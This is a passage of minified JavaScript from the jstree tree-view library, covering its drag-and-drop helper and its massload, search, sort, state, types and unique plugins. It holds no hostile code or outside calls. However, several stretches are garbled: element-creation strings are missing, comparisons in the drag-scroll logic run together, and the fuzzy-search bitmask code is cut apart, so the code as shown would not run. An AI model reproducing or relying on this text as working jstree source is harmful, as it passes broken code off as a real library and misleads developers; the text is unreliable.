      ').hide() -e(d).on("dragover.vakata.jstree",function(t){u&&e.vakata.dnd._trigger("move",t,{helper:e(),element:u,data:_})}).on("drop.vakata.jstree",function(t){u&&(e.vakata.dnd._trigger("stop",t,{helper:e(),element:u,data:_}),u=null,_=null)}).on("dnd_start.vakata.jstree",function(e,t){r=!1,s=!1,t&&t.data&&t.data.jstree&&n.appendTo(d.body)}).on("dnd_move.vakata.jstree",function(o,d){var c=d.event.target!==s.target -if(a&&(!d.event||"dragover"!==d.event.type||c)&&clearTimeout(a),d&&d.data&&d.data.jstree&&(!d.event.target.id||"jstree-marker"!==d.event.target.id)){s=d.event -var l,h,_,u,g,f,p,m,v,j,y,k,x,b,w,C,A=e.jstree.reference(d.event.target),T=!1,N=!1,O=!1 -if(A&&A._data&&A._data.dnd)if(n.attr("class","jstree-"+A.get_theme()+(A.settings.core.themes.responsive?" jstree-dnd-responsive":"")),w=d.data.origin&&(d.data.origin.settings.dnd.always_copy||d.data.origin.settings.dnd.copy&&(d.event.metaKey||d.event.ctrlKey)),d.helper.children().attr("class","jstree-"+A.get_theme()+" jstree-"+A.get_theme()+"-"+A.get_theme_variant()+" "+(A.settings.core.themes.responsive?" jstree-dnd-responsive":"")).find(".jstree-copy").first()[w?"show":"hide"](),d.event.target!==A.element[0]&&d.event.target!==A.get_container_ul()[0]||0!==A.get_container_ul().children().length){if(T=A.settings.dnd.large_drop_target?e(d.event.target).closest(".jstree-node").children(".jstree-anchor"):e(d.event.target).closest(".jstree-anchor"),T&&T.length&&T.parent().is(".jstree-closed, .jstree-open, .jstree-leaf")&&(N=T.offset(),O=(d.event.pageY!==t?d.event.pageY:d.event.originalEvent.pageY)-N.top,_=T.outerHeight(),f=_/3>O?["b","i","a"]:O>_-_/3?["a","i","b"]:O>_/2?["i","a","b"]:["i","b","a"],e.each(f,function(t,s){switch(s){case"b":l=N.left-6,h=N.top,u=A.get_parent(T),g=T.parent().index() -break -case"i":x=A.settings.dnd.inside_pos,b=A.get_node(T.parent()),l=N.left-2,h=N.top+_/2+1,u=b.id,g="first"===x?0:"last"===x?b.children.length:Math.min(x,b.children.length) -break -case"a":l=N.left-6,h=N.top+_,u=A.get_parent(T),g=T.parent().index()+1}for(p=!0,m=0,v=d.data.nodes.length;v>m;m++)if(j=d.data.origin&&(d.data.origin.settings.dnd.always_copy||d.data.origin.settings.dnd.copy&&(d.event.metaKey||d.event.ctrlKey))?"copy_node":"move_node",y=g,"move_node"===j&&"a"===s&&d.data.origin&&d.data.origin===A&&u===A.get_parent(d.data.nodes[m])&&(k=A.get_node(u),y>e.inArray(d.data.nodes[m],k.children)&&(y-=1)),p=p&&(A&&A.settings&&A.settings.dnd&&A.settings.dnd.check_while_dragging===!1||A.check(j,d.data.origin&&d.data.origin!==A?d.data.origin.get_node(d.data.nodes[m]):d.data.nodes[m],u,y,{dnd:!0,ref:A.get_node(T.parent()),pos:s,origin:d.data.origin,is_multi:d.data.origin&&d.data.origin!==A,is_foreign:!d.data.origin})),!p){A&&A.last_error&&(i=A.last_error()) -break}return"i"===s&&T.parent().is(".jstree-closed")&&A.settings.dnd.open_timeout&&(!d.event||"dragover"!==d.event.type||c)&&(a&&clearTimeout(a),a=setTimeout(function(e,t){return function(){e.open_node(t)}}(A,T),A.settings.dnd.open_timeout)),p?(C=A.get_node(u,!0),C.hasClass(".jstree-dnd-parent")||(e(".jstree-dnd-parent").removeClass("jstree-dnd-parent"),C.addClass("jstree-dnd-parent")),r={ins:A,par:u,pos:"i"!==s||"last"!==x||0!==g||A.is_loaded(b)?g:"last"},n.css({left:l+"px",top:h+"px"}).show(),d.helper.find(".jstree-icon").first().removeClass("jstree-er").addClass("jstree-ok"),d.event.originalEvent&&d.event.originalEvent.dataTransfer&&(d.event.originalEvent.dataTransfer.dropEffect=w?"copy":"move"),i={},f=!0,!1):void 0}),f===!0))return}else{for(p=!0,m=0,v=d.data.nodes.length;v>m&&(p=p&&A.check(d.data.origin&&(d.data.origin.settings.dnd.always_copy||d.data.origin.settings.dnd.copy&&(d.event.metaKey||d.event.ctrlKey))?"copy_node":"move_node",d.data.origin&&d.data.origin!==A?d.data.origin.get_node(d.data.nodes[m]):d.data.nodes[m],e.jstree.root,"last",{dnd:!0,ref:A.get_node(e.jstree.root),pos:"i",origin:d.data.origin,is_multi:d.data.origin&&d.data.origin!==A,is_foreign:!d.data.origin}),p);m++);if(p)return r={ins:A,par:e.jstree.root,pos:"last"},n.hide(),d.helper.find(".jstree-icon").first().removeClass("jstree-er").addClass("jstree-ok"),void(d.event.originalEvent&&d.event.originalEvent.dataTransfer&&(d.event.originalEvent.dataTransfer.dropEffect=w?"copy":"move"))}e(".jstree-dnd-parent").removeClass("jstree-dnd-parent"),r=!1,d.helper.find(".jstree-icon").removeClass("jstree-ok").addClass("jstree-er"),d.event.originalEvent&&d.event.originalEvent.dataTransfer,n.hide()}}).on("dnd_scroll.vakata.jstree",function(e,t){t&&t.data&&t.data.jstree&&(n.hide(),r=!1,s=!1,t.helper.find(".jstree-icon").first().removeClass("jstree-ok").addClass("jstree-er"))}).on("dnd_stop.vakata.jstree",function(t,o){if(e(".jstree-dnd-parent").removeClass("jstree-dnd-parent"),a&&clearTimeout(a),o&&o.data&&o.data.jstree){n.hide().detach() -var d,c,l=[] -if(r){for(d=0,c=o.data.nodes.length;c>d;d++)l[d]=o.data.origin?o.data.origin.get_node(o.data.nodes[d]):o.data.nodes[d] -r.ins[o.data.origin&&(o.data.origin.settings.dnd.always_copy||o.data.origin.settings.dnd.copy&&(o.event.metaKey||o.event.ctrlKey))?"copy_node":"move_node"](l,r.par,r.pos,!1,!1,!1,o.data.origin)}else d=e(o.event.target).closest(".jstree"),d.length&&i&&i.error&&"check"===i.error&&(d=d.jstree(!0),d&&d.settings.core.error.call(this,i)) -s=!1,r=!1}}).on("keyup.jstree keydown.jstree",function(t,o){o=e.vakata.dnd._get(),o&&o.data&&o.data.jstree&&("keyup"===t.type&&27===t.which?(a&&clearTimeout(a),r=!1,i=!1,s=!1,a=!1,n.hide().detach(),e.vakata.dnd._clean()):(o.helper.find(".jstree-copy").first()[o.data.origin&&(o.data.origin.settings.dnd.always_copy||o.data.origin.settings.dnd.copy&&(t.metaKey||t.ctrlKey))?"show":"hide"](),s&&(s.metaKey=t.metaKey,s.ctrlKey=t.ctrlKey,e.vakata.dnd._trigger("move",s))))})}),function(e){e.vakata.html={div:e("
      "),escape:function(t){return e.vakata.html.div.text(t).html()},strip:function(t){return e.vakata.html.div.empty().append(e.parseHTML(t)).text()}} -var r={element:!1,target:!1,is_down:!1,is_drag:!1,helper:!1,helper_w:0,data:!1,init_x:0,init_y:0,scroll_l:0,scroll_t:0,scroll_e:!1,scroll_i:!1,is_touch:!1} -e.vakata.dnd={settings:{scroll_speed:10,scroll_proximity:20,helper_left:5,helper_top:10,threshold:5,threshold_touch:10},_trigger:function(r,i,s){s===t&&(s=e.vakata.dnd._get()),s.event=i,e(d).triggerHandler("dnd_"+r+".vakata",s)},_get:function(){return{data:r.data,element:r.element,helper:r.helper}},_clean:function(){r.helper&&r.helper.remove(),r.scroll_i&&(clearInterval(r.scroll_i),r.scroll_i=!1),r={element:!1,target:!1,is_down:!1,is_drag:!1,helper:!1,helper_w:0,data:!1,init_x:0,init_y:0,scroll_l:0,scroll_t:0,scroll_e:!1,scroll_i:!1,is_touch:!1},e(d).off("mousemove.vakata.jstree touchmove.vakata.jstree",e.vakata.dnd.drag),e(d).off("mouseup.vakata.jstree touchend.vakata.jstree",e.vakata.dnd.stop)},_scroll:function(t){if(!r.scroll_e||!r.scroll_l&&!r.scroll_t)return r.scroll_i&&(clearInterval(r.scroll_i),r.scroll_i=!1),!1 -if(!r.scroll_i)return r.scroll_i=setInterval(e.vakata.dnd._scroll,100),!1 -if(t===!0)return!1 -var i=r.scroll_e.scrollTop(),s=r.scroll_e.scrollLeft() -r.scroll_e.scrollTop(i+r.scroll_t*e.vakata.dnd.settings.scroll_speed),r.scroll_e.scrollLeft(s+r.scroll_l*e.vakata.dnd.settings.scroll_speed),(i!==r.scroll_e.scrollTop()||s!==r.scroll_e.scrollLeft())&&e.vakata.dnd._trigger("scroll",r.scroll_e)},start:function(t,i,s){"touchstart"===t.type&&t.originalEvent&&t.originalEvent.changedTouches&&t.originalEvent.changedTouches[0]&&(t.pageX=t.originalEvent.changedTouches[0].pageX,t.pageY=t.originalEvent.changedTouches[0].pageY,t.target=d.elementFromPoint(t.originalEvent.changedTouches[0].pageX-window.pageXOffset,t.originalEvent.changedTouches[0].pageY-window.pageYOffset)),r.is_drag&&e.vakata.dnd.stop({}) -try{t.currentTarget.unselectable="on",t.currentTarget.onselectstart=function(){return!1},t.currentTarget.style&&(t.currentTarget.style.touchAction="none",t.currentTarget.style.msTouchAction="none",t.currentTarget.style.MozUserSelect="none")}catch(a){}return r.init_x=t.pageX,r.init_y=t.pageY,r.data=i,r.is_down=!0,r.element=t.currentTarget,r.target=t.target,r.is_touch="touchstart"===t.type,s!==!1&&(r.helper=e("
      ").html(s).css({display:"block",margin:"0",padding:"0",position:"absolute",top:"-2000px",lineHeight:"16px",zIndex:"10000"})),e(d).on("mousemove.vakata.jstree touchmove.vakata.jstree",e.vakata.dnd.drag),e(d).on("mouseup.vakata.jstree touchend.vakata.jstree",e.vakata.dnd.stop),!1},drag:function(t){if("touchmove"===t.type&&t.originalEvent&&t.originalEvent.changedTouches&&t.originalEvent.changedTouches[0]&&(t.pageX=t.originalEvent.changedTouches[0].pageX,t.pageY=t.originalEvent.changedTouches[0].pageY,t.target=d.elementFromPoint(t.originalEvent.changedTouches[0].pageX-window.pageXOffset,t.originalEvent.changedTouches[0].pageY-window.pageYOffset)),r.is_down){if(!r.is_drag){if(!(Math.abs(t.pageX-r.init_x)>(r.is_touch?e.vakata.dnd.settings.threshold_touch:e.vakata.dnd.settings.threshold)||Math.abs(t.pageY-r.init_y)>(r.is_touch?e.vakata.dnd.settings.threshold_touch:e.vakata.dnd.settings.threshold)))return -r.helper&&(r.helper.appendTo(d.body),r.helper_w=r.helper.outerWidth()),r.is_drag=!0,e(r.target).one("click.vakata",!1),e.vakata.dnd._trigger("start",t)}var i=!1,s=!1,a=!1,n=!1,o=!1,c=!1,l=!1,h=!1,_=!1,u=!1 -return r.scroll_t=0,r.scroll_l=0,r.scroll_e=!1,e(e(t.target).parentsUntil("body").addBack().get().reverse()).filter(function(){return/^auto|scroll$/.test(e(this).css("overflow"))&&(this.scrollHeight>this.offsetHeight||this.scrollWidth>this.offsetWidth)}).each(function(){var i=e(this),s=i.offset() -return this.scrollHeight>this.offsetHeight&&(s.top+i.height()-t.pageYthis.offsetWidth&&(s.left+i.width()-t.pageXn&&t.pageY-ln&&n-(t.pageY-l)c&&t.pageX-hc&&c-(t.pageX-h)a&&(_=a-50),o&&u+r.helper_w>o&&(u=o-(r.helper_w+2)),r.helper.css({left:u+"px",top:_+"px"})),e.vakata.dnd._trigger("move",t),!1}},stop:function(t){if("touchend"===t.type&&t.originalEvent&&t.originalEvent.changedTouches&&t.originalEvent.changedTouches[0]&&(t.pageX=t.originalEvent.changedTouches[0].pageX,t.pageY=t.originalEvent.changedTouches[0].pageY,t.target=d.elementFromPoint(t.originalEvent.changedTouches[0].pageX-window.pageXOffset,t.originalEvent.changedTouches[0].pageY-window.pageYOffset)),r.is_drag)t.target!==r.target&&e(r.target).off("click.vakata"),e.vakata.dnd._trigger("stop",t) -else if("touchend"===t.type&&t.target===r.target){var i=setTimeout(function(){e(t.target).click()},100) -e(t.target).one("click",function(){i&&clearTimeout(i)})}return e.vakata.dnd._clean(),!1}}}(e),e.jstree.defaults.massload=null,e.jstree.plugins.massload=function(t,r){this.init=function(e,t){this._data.massload={},r.init.call(this,e,t)},this._load_nodes=function(t,i,s,a){var n,o,d,c=this.settings.massload,l=(JSON.stringify(t),[]),h=this._model.data -if(!s){for(n=0,o=t.length;o>n;n++)(!h[t[n]]||!h[t[n]].state.loaded&&!h[t[n]].state.failed||a)&&(l.push(t[n]),d=this.get_node(t[n],!0),d&&d.length&&d.addClass("jstree-loading").attr("aria-busy",!0)) -if(this._data.massload={},l.length){if(e.isFunction(c))return c.call(this,l,e.proxy(function(e){var n,o -if(e)for(n in e)e.hasOwnProperty(n)&&(this._data.massload[n]=e[n]) -for(n=0,o=t.length;o>n;n++)d=this.get_node(t[n],!0),d&&d.length&&d.removeClass("jstree-loading").attr("aria-busy",!1) -r._load_nodes.call(this,t,i,s,a)},this)) -if("object"==typeof c&&c&&c.url)return c=e.extend(!0,{},c),e.isFunction(c.url)&&(c.url=c.url.call(this,l)),e.isFunction(c.data)&&(c.data=c.data.call(this,l)),e.ajax(c).done(e.proxy(function(e,n,o){var c,l -if(e)for(c in e)e.hasOwnProperty(c)&&(this._data.massload[c]=e[c]) -for(c=0,l=t.length;l>c;c++)d=this.get_node(t[c],!0),d&&d.length&&d.removeClass("jstree-loading").attr("aria-busy",!1) -r._load_nodes.call(this,t,i,s,a)},this)).fail(e.proxy(function(e){r._load_nodes.call(this,t,i,s,a)},this))}}return r._load_nodes.call(this,t,i,s,a)},this._load_node=function(t,i){var s,a=this._data.massload[t.id],n=null -return a?(n=this["string"==typeof a?"_append_html_data":"_append_json_data"](t,"string"==typeof a?e(e.parseHTML(a)).filter(function(){return 3!==this.nodeType}):a,function(e){i.call(this,e)}),s=this.get_node(t.id,!0),s&&s.length&&s.removeClass("jstree-loading").attr("aria-busy",!1),delete this._data.massload[t.id],n):r._load_node.call(this,t,i)}},e.jstree.defaults.search={ajax:!1,fuzzy:!1,case_sensitive:!1,show_only_matches:!1,show_only_matches_children:!1,close_opened_onclear:!0,search_leaves_only:!1,search_callback:!1},e.jstree.plugins.search=function(r,i){this.bind=function(){i.bind.call(this),this._data.search.str="",this._data.search.dom=e(),this._data.search.res=[],this._data.search.opn=[],this._data.search.som=!1,this._data.search.smc=!1,this._data.search.hdn=[],this.element.on("search.jstree",e.proxy(function(t,r){if(this._data.search.som&&r.res.length){var i,s,a,n,o=this._model.data,d=[] -for(i=0,s=r.res.length;s>i;i++)if(o[r.res[i]]&&!o[r.res[i]].state.hidden&&(d.push(r.res[i]),d=d.concat(o[r.res[i]].parents),this._data.search.smc))for(a=0,n=o[r.res[i]].children_d.length;n>a;a++)o[o[r.res[i]].children_d[a]]&&!o[o[r.res[i]].children_d[a]].state.hidden&&d.push(o[r.res[i]].children_d[a]) -d=e.vakata.array_remove_item(e.vakata.array_unique(d),e.jstree.root),this._data.search.hdn=this.hide_all(!0),this.show_node(d,!0),this.redraw(!0)}},this)).on("clear_search.jstree",e.proxy(function(e,t){this._data.search.som&&t.res.length&&(this.show_node(this._data.search.hdn,!0),this.redraw(!0))},this))},this.search=function(r,i,s,a,n,o){if(r===!1||""===e.trim(r.toString()))return this.clear_search() -a=this.get_node(a),a=a&&a.id?a.id:null,r=r.toString() -var d,c,l=this.settings.search,h=l.ajax?l.ajax:!1,_=this._model.data,u=null,g=[],f=[] -if(this._data.search.res.length&&!n&&this.clear_search(),s===t&&(s=l.show_only_matches),o===t&&(o=l.show_only_matches_children),!i&&h!==!1)return e.isFunction(h)?h.call(this,r,e.proxy(function(t){t&&t.d&&(t=t.d),this._load_nodes(e.isArray(t)?e.vakata.array_unique(t):[],function(){this.search(r,!0,s,a,n,o)})},this),a):(h=e.extend({},h),h.data||(h.data={}),h.data.str=r,a&&(h.data.inside=a),this._data.search.lastRequest&&this._data.search.lastRequest.abort(),this._data.search.lastRequest=e.ajax(h).fail(e.proxy(function(){this._data.core.last_error={error:"ajax",plugin:"search",id:"search_01",reason:"Could not load search parents",data:JSON.stringify(h)},this.settings.core.error.call(this,this._data.core.last_error)},this)).done(e.proxy(function(t){t&&t.d&&(t=t.d),this._load_nodes(e.isArray(t)?e.vakata.array_unique(t):[],function(){this.search(r,!0,s,a,n,o)})},this)),this._data.search.lastRequest) -if(n||(this._data.search.str=r,this._data.search.dom=e(),this._data.search.res=[],this._data.search.opn=[],this._data.search.som=s,this._data.search.smc=o),u=new e.vakata.search(r,!0,{caseSensitive:l.case_sensitive,fuzzy:l.fuzzy}),e.each(_[a?a:e.jstree.root].children_d,function(e,t){var i=_[t] -i.text&&!i.state.hidden&&(!l.search_leaves_only||i.state.loaded&&0===i.children.length)&&(l.search_callback&&l.search_callback.call(this,r,i)||!l.search_callback&&u.search(i.text).isMatch)&&(g.push(t),f=f.concat(i.parents))}),g.length){for(f=e.vakata.array_unique(f),d=0,c=f.length;c>d;d++)f[d]!==e.jstree.root&&_[f[d]]&&this.open_node(f[d],null,0)===!0&&this._data.search.opn.push(f[d]) -n?(this._data.search.dom=this._data.search.dom.add(e(this.element[0].querySelectorAll("#"+e.map(g,function(t){return-1!=="0123456789".indexOf(t[0])?"\\3"+t[0]+" "+t.substr(1).replace(e.jstree.idregex,"\\$&"):t.replace(e.jstree.idregex,"\\$&")}).join(", #")))),this._data.search.res=e.vakata.array_unique(this._data.search.res.concat(g))):(this._data.search.dom=e(this.element[0].querySelectorAll("#"+e.map(g,function(t){return-1!=="0123456789".indexOf(t[0])?"\\3"+t[0]+" "+t.substr(1).replace(e.jstree.idregex,"\\$&"):t.replace(e.jstree.idregex,"\\$&")}).join(", #"))),this._data.search.res=g),this._data.search.dom.children(".jstree-anchor").addClass("jstree-search")}this.trigger("search",{nodes:this._data.search.dom,str:r,res:this._data.search.res,show_only_matches:s})},this.clear_search=function(){this.settings.search.close_opened_onclear&&this.close_node(this._data.search.opn,0),this.trigger("clear_search",{nodes:this._data.search.dom,str:this._data.search.str,res:this._data.search.res}),this._data.search.res.length&&(this._data.search.dom=e(this.element[0].querySelectorAll("#"+e.map(this._data.search.res,function(t){return-1!=="0123456789".indexOf(t[0])?"\\3"+t[0]+" "+t.substr(1).replace(e.jstree.idregex,"\\$&"):t.replace(e.jstree.idregex,"\\$&")}).join(", #"))),this._data.search.dom.children(".jstree-anchor").removeClass("jstree-search")),this._data.search.str="",this._data.search.res=[],this._data.search.opn=[],this._data.search.dom=e()},this.redraw_node=function(t,r,s,a){if(t=i.redraw_node.apply(this,arguments),t&&-1!==e.inArray(t.id,this._data.search.res)){var n,o,d=null -for(n=0,o=t.childNodes.length;o>n;n++)if(t.childNodes[n]&&t.childNodes[n].className&&-1!==t.childNodes[n].className.indexOf("jstree-anchor")){d=t.childNodes[n] -break}d&&(d.className+=" jstree-search")}return t}},function(e){e.vakata.search=function(t,r,i){i=i||{},i=e.extend({},e.vakata.search.defaults,i),i.fuzzy!==!1&&(i.fuzzy=!0),t=i.caseSensitive?t:t.toLowerCase() -var s,a,n,o,d=i.location,c=i.distance,l=i.threshold,h=t.length -return h>32&&(i.fuzzy=!1),i.fuzzy&&(s=1<r;r++)e[t.charAt(r)]=0 -for(r=0;h>r;r++)e[t.charAt(r)]|=1<r;r++){for(c=0,_=k;_>c;)n(r,d+_)<=j?c=_:k=_,_=Math.floor((k-c)/2+c) -for(k=_,g=Math.max(1,d-_+1),f=Math.min(d+_,v)+h,p=new Array(f+2),p[f+1]=(1<=g;o--)if(m=a[e.charAt(o-1)],0===r?p[o]=(p[o+1]<<1|1)&m:p[o]=(p[o+1]<<1|1)&m|((u[o+1]|u[o])<<1|1)|u[o+1],p[o]&s&&(x=n(r,o-1),j>=x)){if(j=x,y=o-1,b.push(y),!(y>d))break -g=Math.max(1,2*d-y)}if(n(r+1,d)>j)break -u=p}return{isMatch:y>=0,score:x}},r===!0?{search:o}:o(r)},e.vakata.search.defaults={location:0,distance:100,threshold:.6,fuzzy:!1,caseSensitive:!1}}(e),e.jstree.defaults.sort=function(e,t){return this.get_text(e)>this.get_text(t)?1:-1},e.jstree.plugins.sort=function(t,r){this.bind=function(){r.bind.call(this),this.element.on("model.jstree",e.proxy(function(e,t){this.sort(t.parent,!0)},this)).on("rename_node.jstree create_node.jstree",e.proxy(function(e,t){this.sort(t.parent||t.node.parent,!1),this.redraw_node(t.parent||t.node.parent,!0)},this)).on("move_node.jstree copy_node.jstree",e.proxy(function(e,t){this.sort(t.parent,!1),this.redraw_node(t.parent,!0)},this))},this.sort=function(t,r){var i,s -if(t=this.get_node(t),t&&t.children&&t.children.length&&(t.children.sort(e.proxy(this.settings.sort,this)),r))for(i=0,s=t.children_d.length;s>i;i++)this.sort(t.children_d[i],!1)}} -var g=!1 -e.jstree.defaults.state={key:"jstree",events:"changed.jstree open_node.jstree close_node.jstree check_node.jstree uncheck_node.jstree",ttl:!1,filter:!1,preserve_loaded:!1},e.jstree.plugins.state=function(t,r){this.bind=function(){r.bind.call(this) -var t=e.proxy(function(){this.element.on(this.settings.state.events,e.proxy(function(){g&&clearTimeout(g),g=setTimeout(e.proxy(function(){this.save_state()},this),100)},this)),this.trigger("state_ready")},this) -this.element.on("ready.jstree",e.proxy(function(e,r){this.element.one("restore_state.jstree",t),this.restore_state()||t()},this))},this.save_state=function(){var t=this.get_state() -this.settings.state.preserve_loaded||delete t.core.loaded -var r={state:t,ttl:this.settings.state.ttl,sec:+new Date} -e.vakata.storage.set(this.settings.state.key,JSON.stringify(r))},this.restore_state=function(){var t=e.vakata.storage.get(this.settings.state.key) -if(t)try{t=JSON.parse(t)}catch(r){return!1}return t&&t.ttl&&t.sec&&+new Date-t.sec>t.ttl?!1:(t&&t.state&&(t=t.state),t&&e.isFunction(this.settings.state.filter)&&(t=this.settings.state.filter.call(this,t)),t?(this.settings.state.preserve_loaded||delete t.core.loaded,this.element.one("set_state.jstree",function(r,i){i.instance.trigger("restore_state",{state:e.extend(!0,{},t)})}),this.set_state(t),!0):!1)},this.clear_state=function(){return e.vakata.storage.del(this.settings.state.key)}},function(e,t){e.vakata.storage={set:function(e,t){return window.localStorage.setItem(e,t)},get:function(e){return window.localStorage.getItem(e)},del:function(e){return window.localStorage.removeItem(e)}}}(e),e.jstree.defaults.types={"default":{}},e.jstree.defaults.types[e.jstree.root]={},e.jstree.plugins.types=function(r,i){this.init=function(r,s){var a,n -if(s&&s.types&&s.types["default"])for(a in s.types)if("default"!==a&&a!==e.jstree.root&&s.types.hasOwnProperty(a))for(n in s.types["default"])s.types["default"].hasOwnProperty(n)&&s.types[a][n]===t&&(s.types[a][n]=s.types["default"][n]) -i.init.call(this,r,s),this._model.data[e.jstree.root].type=e.jstree.root},this.refresh=function(t,r){i.refresh.call(this,t,r),this._model.data[e.jstree.root].type=e.jstree.root},this.bind=function(){this.element.on("model.jstree",e.proxy(function(r,i){var s,a,n,o=this._model.data,d=i.nodes,c=this.settings.types,l="default" -for(s=0,a=d.length;a>s;s++){if(l="default",o[d[s]].original&&o[d[s]].original.type&&c[o[d[s]].original.type]&&(l=o[d[s]].original.type),o[d[s]].data&&o[d[s]].data.jstree&&o[d[s]].data.jstree.type&&c[o[d[s]].data.jstree.type]&&(l=o[d[s]].data.jstree.type),o[d[s]].type=l,o[d[s]].icon===!0&&c[l].icon!==t&&(o[d[s]].icon=c[l].icon),c[l].li_attr!==t&&"object"==typeof c[l].li_attr)for(n in c[l].li_attr)if(c[l].li_attr.hasOwnProperty(n)){if("id"===n)continue -o[d[s]].li_attr[n]===t?o[d[s]].li_attr[n]=c[l].li_attr[n]:"class"===n&&(o[d[s]].li_attr["class"]=c[l].li_attr["class"]+" "+o[d[s]].li_attr["class"])}if(c[l].a_attr!==t&&"object"==typeof c[l].a_attr)for(n in c[l].a_attr)if(c[l].a_attr.hasOwnProperty(n)){if("id"===n)continue -o[d[s]].a_attr[n]===t?o[d[s]].a_attr[n]=c[l].a_attr[n]:"href"===n&&"#"===o[d[s]].a_attr[n]?o[d[s]].a_attr.href=c[l].a_attr.href:"class"===n&&(o[d[s]].a_attr["class"]=c[l].a_attr["class"]+" "+o[d[s]].a_attr["class"])}}o[e.jstree.root].type=e.jstree.root},this)),i.bind.call(this)},this.get_json=function(t,r,s){var a,n,o=this._model.data,d=r?e.extend(!0,{},r,{no_id:!1}):{},c=i.get_json.call(this,t,d,s) -if(c===!1)return!1 -if(e.isArray(c))for(a=0,n=c.length;n>a;a++)c[a].type=c[a].id&&o[c[a].id]&&o[c[a].id].type?o[c[a].id].type:"default",r&&r.no_id&&(delete c[a].id,c[a].li_attr&&c[a].li_attr.id&&delete c[a].li_attr.id,c[a].a_attr&&c[a].a_attr.id&&delete c[a].a_attr.id) -else c.type=c.id&&o[c.id]&&o[c.id].type?o[c.id].type:"default",r&&r.no_id&&(c=this._delete_ids(c)) -return c},this._delete_ids=function(t){if(e.isArray(t)){for(var r=0,i=t.length;i>r;r++)t[r]=this._delete_ids(t[r]) -return t}return delete t.id,t.li_attr&&t.li_attr.id&&delete t.li_attr.id,t.a_attr&&t.a_attr.id&&delete t.a_attr.id,t.children&&e.isArray(t.children)&&(t.children=this._delete_ids(t.children)),t},this.check=function(r,s,a,n,o){if(i.check.call(this,r,s,a,n,o)===!1)return!1 -s=s&&s.id?s:this.get_node(s),a=a&&a.id?a:this.get_node(a) -var d,c,l,h,_=s&&s.id?o&&o.origin?o.origin:e.jstree.reference(s.id):null -switch(_=_&&_._model&&_._model.data?_._model.data:null,r){case"create_node":case"move_node":case"copy_node":if("move_node"!==r||-1===e.inArray(s.id,a.children)){if(d=this.get_rules(a),d.max_children!==t&&-1!==d.max_children&&d.max_children===a.children.length)return this._data.core.last_error={error:"check",plugin:"types",id:"types_01",reason:"max_children prevents function: "+r,data:JSON.stringify({chk:r,pos:n,obj:s&&s.id?s.id:!1,par:a&&a.id?a.id:!1})},!1 -if(d.valid_children!==t&&-1!==d.valid_children&&-1===e.inArray(s.type||"default",d.valid_children))return this._data.core.last_error={error:"check",plugin:"types",id:"types_02",reason:"valid_children prevents function: "+r,data:JSON.stringify({chk:r,pos:n,obj:s&&s.id?s.id:!1,par:a&&a.id?a.id:!1})},!1 -if(_&&s.children_d&&s.parents){for(c=0,l=0,h=s.children_d.length;h>l;l++)c=Math.max(c,_[s.children_d[l]].parents.length) -c=c-s.parents.length+1}(0>=c||c===t)&&(c=1) -do{if(d.max_depth!==t&&-1!==d.max_depth&&d.max_deptha;a++)this.set_type(r[a],i) -return!0}if(s=this.settings.types,r=this.get_node(r),!s[i]||!r)return!1 -if(l=this.get_node(r,!0),l&&l.length&&(h=l.children(".jstree-anchor")),o=r.type,d=this.get_icon(r),r.type=i,(d===!0||!s[o]||s[o].icon!==t&&d===s[o].icon)&&this.set_icon(r,s[i].icon!==t?s[i].icon:!0),s[o]&&s[o].li_attr!==t&&"object"==typeof s[o].li_attr)for(c in s[o].li_attr)if(s[o].li_attr.hasOwnProperty(c)){if("id"===c)continue -"class"===c?(_[r.id].li_attr["class"]=(_[r.id].li_attr["class"]||"").replace(s[o].li_attr[c],""),l&&l.removeClass(s[o].li_attr[c])):_[r.id].li_attr[c]===s[o].li_attr[c]&&(_[r.id].li_attr[c]=null,l&&l.removeAttr(c))}if(s[o]&&s[o].a_attr!==t&&"object"==typeof s[o].a_attr)for(c in s[o].a_attr)if(s[o].a_attr.hasOwnProperty(c)){if("id"===c)continue -"class"===c?(_[r.id].a_attr["class"]=(_[r.id].a_attr["class"]||"").replace(s[o].a_attr[c],""),h&&h.removeClass(s[o].a_attr[c])):_[r.id].a_attr[c]===s[o].a_attr[c]&&("href"===c?(_[r.id].a_attr[c]="#",h&&h.attr("href","#")):(delete _[r.id].a_attr[c],h&&h.removeAttr(c)))}if(s[i].li_attr!==t&&"object"==typeof s[i].li_attr)for(c in s[i].li_attr)if(s[i].li_attr.hasOwnProperty(c)){if("id"===c)continue -_[r.id].li_attr[c]===t?(_[r.id].li_attr[c]=s[i].li_attr[c],l&&("class"===c?l.addClass(s[i].li_attr[c]):l.attr(c,s[i].li_attr[c]))):"class"===c&&(_[r.id].li_attr["class"]=s[i].li_attr[c]+" "+_[r.id].li_attr["class"],l&&l.addClass(s[i].li_attr[c]))}if(s[i].a_attr!==t&&"object"==typeof s[i].a_attr)for(c in s[i].a_attr)if(s[i].a_attr.hasOwnProperty(c)){if("id"===c)continue -_[r.id].a_attr[c]===t?(_[r.id].a_attr[c]=s[i].a_attr[c],h&&("class"===c?h.addClass(s[i].a_attr[c]):h.attr(c,s[i].a_attr[c]))):"href"===c&&"#"===_[r.id].a_attr[c]?(_[r.id].a_attr.href=s[i].a_attr.href,h&&h.attr("href",s[i].a_attr.href)):"class"===c&&(_[r.id].a_attr["class"]=s[i].a_attr["class"]+" "+_[r.id].a_attr["class"],h&&h.addClass(s[i].a_attr[c]))}return!0}},e.jstree.defaults.unique={case_sensitive:!1,trim_whitespace:!1,duplicate:function(e,t){return e+" ("+t+")"}},e.jstree.plugins.unique=function(r,i){this.check=function(t,r,s,a,n){if(i.check.call(this,t,r,s,a,n)===!1)return!1 -if(r=r&&r.id?r:this.get_node(r),s=s&&s.id?s:this.get_node(s),!s||!s.children)return!0 -var o,d,c,l="rename_node"===t?a:r.text,h=[],_=this.settings.unique.case_sensitive,u=this.settings.unique.trim_whitespace,g=this._model.data -for(o=0,d=s.children.length;d>o;o++)c=g[s.children[o]].text,_||(c=c.toLowerCase()),u&&(c=c.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")),h.push(c) -switch(_||(l=l.toLowerCase()),u&&(l=l.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")),t){case"delete_node":return!0 -case"rename_node":return c=r.text||"",_||(c=c.toLowerCase()),u&&(c=c.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")),o=-1===e.inArray(l,h)||r.text&&c===l,o||(this._data.core.last_error={error:"check",plugin:"unique",id:"unique_01",reason:"Child with name "+l+" already exists. Preventing: "+t,data:JSON.stringify({chk:t,pos:a,obj:r&&r.id?r.id:!1,par:s&&s.id?s.id:!1})}),o -case"create_node":return 